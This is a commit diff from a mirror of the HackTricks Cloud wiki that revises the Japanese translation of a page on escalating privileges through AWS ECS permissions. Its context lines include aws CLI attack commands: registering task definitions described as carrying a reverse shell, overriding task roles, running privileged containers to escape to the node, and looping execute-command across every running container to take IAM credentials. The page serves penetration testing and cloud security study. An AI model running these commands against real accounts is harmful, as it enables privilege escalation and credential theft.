mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-10 04:05:09 -08:00
Translated ['', 'src/pentesting-ci-cd/gitblit-security/README.md', 'src/
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
ECSに関する**詳細情報**は以下を参照してください:
|
||||
ECSに関する**詳細情報**は次を参照:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
@@ -12,7 +12,7 @@ ECSに関する**詳細情報**は以下を参照してください:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
ECSで`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:RunTask`権限を悪用する攻撃者は、メタデータ認証情報を盗む**悪意あるコンテナ**を含む**新しいタスク定義を生成**し、それを**実行**できます。
|
||||
ECSで`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:RunTask`の権限を悪用する攻撃者は、メタデータの認証情報を窃取する**悪意のあるコンテナ**を含む**新しいタスク定義を生成**し、それを**実行**できます。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** 別の ECS role への直接的な privesc。
|
||||
**潜在的影響:** 別の ECS ロールへの直接的な privesc。
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
`iam:PassRole` と `ecs:RunTask` の権限を持つ攻撃者は、**実行ロール**、**タスクロール**、およびコンテナの **コマンド** を変更した新しい ECS タスクを起動できます。`ecs run-task` CLI コマンドには `--overrides` フラグがあり、タスク定義を触ることなく実行時に `executionRoleArn`、`taskRoleArn`、およびコンテナの `command` を変更することが可能です。
|
||||
`iam:PassRole` と `ecs:RunTask` 権限を持つ攻撃者は、修正した **execution role**、**task role**、およびコンテナの **command** を指定して新しい ECS タスクを起動できます。`ecs run-task` CLI コマンドは `--overrides` フラグを持ち、task definition を触らずに実行時に `executionRoleArn`、`taskRoleArn`、およびコンテナの `command` を変更できます。
|
||||
|
||||
`taskRoleArn` および `executionRoleArn` に指定された IAM ロールは、信頼ポリシーで `ecs-tasks.amazonaws.com` によるアサイン(assume)が許可/信頼されている必要があります。
|
||||
`taskRoleArn` と `executionRoleArn` に指定する IAM ロールは、信頼ポリシーで `ecs-tasks.amazonaws.com` によって引き受けられる(assume を許可されている)必要があります。
|
||||
|
||||
また、攻撃者は以下を把握している必要があります:
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group (If no security group is specified the default one will be used)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
また、攻撃者は次の情報を知っている必要があります:
|
||||
- ECS クラスター名
|
||||
- VPC サブネット
|
||||
- セキュリティグループ(指定しない場合はデフォルトが使用される)
|
||||
- Task Definition の名前とリビジョン
|
||||
- コンテナ名
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
上のコードスニペットでは攻撃者は `taskRoleArn` の値だけを上書きしています。しかし、攻撃が成立するには、攻撃者がコマンドで指定された `taskRoleArn` とタスク定義で指定された `executionRoleArn` に対して `iam:PassRole` 権限を持っている必要があります。
|
||||
上のコードスニペットでは攻撃者は `taskRoleArn` の値のみを上書きしています。しかし攻撃を実行するには、攻撃者はコマンドで指定された `taskRoleArn` およびタスク定義で指定された `executionRoleArn` に対して `iam:PassRole` 権限を持っている必要があります。
|
||||
|
||||
攻撃者が渡すことのできる IAM ロールに ECR からイメージをプルして ECS タスクを起動するための十分な権限(`ecr:BatchCheckLayerAvailability`、`ecr:GetDownloadUrlForLayer`、`ecr:BatchGetImage`、`ecr:GetAuthorizationToken`)がある場合、攻撃者は `ecs run-task` コマンドで `executionRoleArn` と `taskRoleArn` の両方に同じ IAM ロールを指定できます。
|
||||
攻撃者が渡せる IAM ロールが ECR イメージをプルして ECS タスクを起動するのに十分な権限(`ecr:BatchCheckLayerAvailability`、`ecr:GetDownloadUrlForLayer`、`ecr:BatchGetImage`、`ecr:GetAuthorizationToken`)を持っている場合、攻撃者は `ecs run-task` コマンドで `executionRoleArn` と `taskRoleArn` の両方に同じ IAM ロールを指定できます。
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Potential Impact:** 任意の ECS task role への直接的な privesc。
|
||||
**Potential Impact:** 任意の ECS task role への直接 privesc。
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
前の例と同様、攻撃者が ECS の **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 権限を悪用すると、**新しいタスク定義を生成**し、**メタデータ認証情報を窃取する悪意あるコンテナ**を含めてそれを**実行**できます。\
|
||||
ただし、この場合、悪意あるタスク定義を実行するためのコンテナインスタンスが必要です。
|
||||
前の例と同様に、攻撃者が ECS で **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 権限を悪用すると、メタデータ資格情報を盗む **malicious container** を含む **generate a new task definition** を作成して、**run it** できます。\
|
||||
ただし、この場合、悪意のある task definition を実行するための container instance が必要になります。
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**潜在的な影響:** 任意のECSロールに対する直接的な privesc.
|
||||
**Potential Impact:** 任意の ECS ロールへの直接的な権限昇格。
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
前の例と同様、ECSで **`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:UpdateService`** または **`ecs:CreateService`** の権限を悪用する攻撃者は、**新しいタスク定義を生成し**、**メタデータ資格情報を窃取する悪意あるコンテナ** を含め、**少なくとも1つのタスクを稼働させた状態で新しいサービスを作成してそれを実行する** ことができます。
|
||||
前の例と同様に攻撃者がECSで**`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`**または**`ecs:CreateService`**権限を悪用すると、**新しいタスク定義を生成**し、**メタデータ資格情報を盗む悪意のあるコンテナ**を含めて、それを**少なくとも1つのタスクを稼働させる新しいサービスを作成して実行する**ことができます。
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -169,12 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**想定される影響:** 任意の ECS role への直接 privesc。
|
||||
**Potential Impact:** 任意の ECS role への直接的な privesc.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
|
||||
実際には、これらの権限だけで overrides を利用して、任意の role を持つコンテナ内で任意のコマンドを実行することが可能です。例えば次のように:
|
||||
実際には、これらの権限だけで overrides を使用して任意の role を使ったコンテナ内で任意のコマンドを実行することが可能です。例えば:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -182,16 +181,16 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**潜在的影響:** 直接的な privesc により任意の ECS role に対して権限昇格が可能になる。
|
||||
**Potential Impact:** 任意の ECS role への Direct privesc。
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
このシナリオは以前のものと似ていますが、**`iam:PassRole`** 権限が**ありません**。\
|
||||
任意のコンテナを実行できる場合、たとえ role を持たないコンテナであっても、ノードに脱出するために**特権コンテナを実行する**ことで、ノード上で動作している**EC2 の IAM role を盗む**ことや、ノード上の**他の ECS コンテナの roles**を奪うことが可能になります。\
|
||||
さらに、侵害した EC2 インスタンス内で**他のタスクを強制的に実行させ**て、それらの認証情報を盗むことすら可能です(詳細は [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) を参照)。
|
||||
このシナリオは前のものと似ていますが、**`iam:PassRole`** 権限が**ありません**。\
|
||||
role がなくても任意の container を実行できるなら、**run a privileged container to escape** して node に抜け出し、**steal the EC2 IAM role** や node 上で動作している他の **ECS containers roles** を盗むことができます。\
|
||||
侵害した EC2 インスタンス内で他のタスクを実行させてそれらの資格情報を盗むように、**force other tasks to run inside the EC2 instance** ことも可能です(詳細は [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) を参照)。
|
||||
|
||||
> [!WARNING]
|
||||
> この攻撃は **ECS cluster が EC2 を使用している** インスタンスでのみ可能で、Fargate では実行できません。
|
||||
> この攻撃は **ECS cluster is using EC2** インスタンスでのみ可能で、Fargate では不可能です。
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -234,11 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
**`ecs:ExecuteCommand`、`ecs:DescribeTasks`** を持つ攻撃者は、実行中のコンテナ内で **execute commands** し、そこに紐づいた IAM ロールを exfiltrate できます(`aws ecs execute-command` を実行するには describe 権限が必要です)。\ ただし、それを行うにはコンテナインスタンスが **ExecuteCommand agent** を実行している必要があります(デフォルトでは実行されていません)。
|
||||
`ecs:ExecuteCommand`, `ecs:DescribeTasks` を持つ攻撃者は、実行中のコンテナ内でコマンドを実行し、そのコンテナに紐づいた IAM ロールを持ち出すことができます(`aws ecs execute-command` を実行するには describe 権限が必要です)。\
|
||||
ただし、そのためにはコンテナインスタンス上で **ExecuteCommand agent** が動作している必要があります(デフォルトでは動作していません)。
|
||||
|
||||
したがって、攻撃者は次のことを試みる可能性があります:
|
||||
したがって、攻撃者は次のことを試みる可能性があります:
|
||||
|
||||
- **すべての実行中のコンテナでコマンドを実行してみる**
|
||||
- 実行中のすべてのコンテナで **コマンドの実行を試みる**
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -256,18 +256,18 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- 権限に **`ecs:RunTask`** がある場合は、`aws ecs run-task --enable-execute-command [...]` を実行してタスクを起動します。
|
||||
- 権限に **`ecs:StartTask`** がある場合は、`aws ecs start-task --enable-execute-command [...]` を実行してタスクを起動します。
|
||||
- 権限に **`ecs:CreateService`** がある場合は、`aws ecs create-service --enable-execute-command [...]` でサービスを作成します。
|
||||
- 権限に **`ecs:UpdateService`** がある場合は、`aws ecs update-service --enable-execute-command [...]` でサービスを更新します。
|
||||
- もし **`ecs:RunTask`** 権限があれば、`aws ecs run-task --enable-execute-command [...]` でタスクを実行できます
|
||||
- もし **`ecs:StartTask`** 権限があれば、`aws ecs start-task --enable-execute-command [...]` でタスクを実行できます
|
||||
- もし **`ecs:CreateService`** 権限があれば、`aws ecs create-service --enable-execute-command [...]` でサービスを作成できます
|
||||
- もし **`ecs:UpdateService`** 権限があれば、`aws ecs update-service --enable-execute-command [...]` でサービスを更新できます
|
||||
|
||||
これらのオプションの**例は以前の ECS privesc セクションにあります**。
|
||||
これらのオプションの**例**は**以前の ECS privesc セクション**で確認できます。
|
||||
|
||||
**潜在的な影響:** コンテナに紐付いた別のロールへの Privesc。
|
||||
**Potential Impact:** コンテナにアタッチされた別のロールへの Privesc。
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
この権限を悪用して **ECS に privesc する方法** は、**ssm privesc ページ** を確認してください:
|
||||
この権限を悪用して **privesc to ECS** する方法は、**ssm privesc page** を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
aws-ssm-privesc.md
|
||||
@@ -275,7 +275,7 @@ aws-ssm-privesc.md
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
これらの権限を悪用して **ECS に privesc する方法** は、**ec2 privesc ページ** を確認してください:
|
||||
これらの権限を悪用して **privesc to ECS** する方法は、**ec2 privesc page** を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-privesc.md
|
||||
@@ -283,16 +283,16 @@ aws-ec2-privesc.md
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
これらの権限を持つ攻撃者は、ECS クラスターに EC2 インスタンスを登録し、その上でタスクを実行する可能性があります。これにより攻撃者は ECS タスクのコンテキスト内で任意のコードを実行できるようになります。
|
||||
これらの権限を持つ攻撃者は、ECS クラスターに EC2 インスタンスを登録してその上でタスクを実行する可能性があります。これにより攻撃者は ECS タスクのコンテキスト内で任意のコードを実行できるようになる可能性があります。
|
||||
|
||||
- TODO: 異なる AWS アカウントからインスタンスを登録し、タスクが攻撃者の制御するマシン上で実行されるようにすることは可能か??
|
||||
- TODO: 別の AWS アカウントからインスタンスを登録して、タスクが攻撃者が管理するマシン上で実行されるようにすることは可能か??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: テストする
|
||||
> TODO: Test this
|
||||
|
||||
`ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet`、および `ecs:DescribeTaskSets` の権限を持つ攻撃者は、既存の ECS サービスのために **悪意のある task set を作成し、primary task set を更新する** ことができます。これにより攻撃者はサービス内で **任意のコードを実行する** ことが可能になります。
|
||||
これらの権限(`ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet`、`ecs:DescribeTaskSets`)を持つ攻撃者は、既存の ECS サービスに対して **悪意のあるタスクセットを作成し主要なタスクセットを更新する** ことができます。これにより攻撃者はサービス内で **任意のコードを実行する** ことが可能になります。
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -318,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**潜在的な影響**: 影響を受けたサービス内で Execute arbitrary code を実行でき、その機能に影響を与えたり、exfiltrating sensitive data を行う可能性があります。
|
||||
**潜在的な影響**: 影響を受けたサービスで任意のコードを実行でき、その機能に影響を与えたり、機密データを持ち出す可能性があります。
|
||||
|
||||
## 参考
|
||||
|
||||
|
||||
Reference in New Issue
Block a user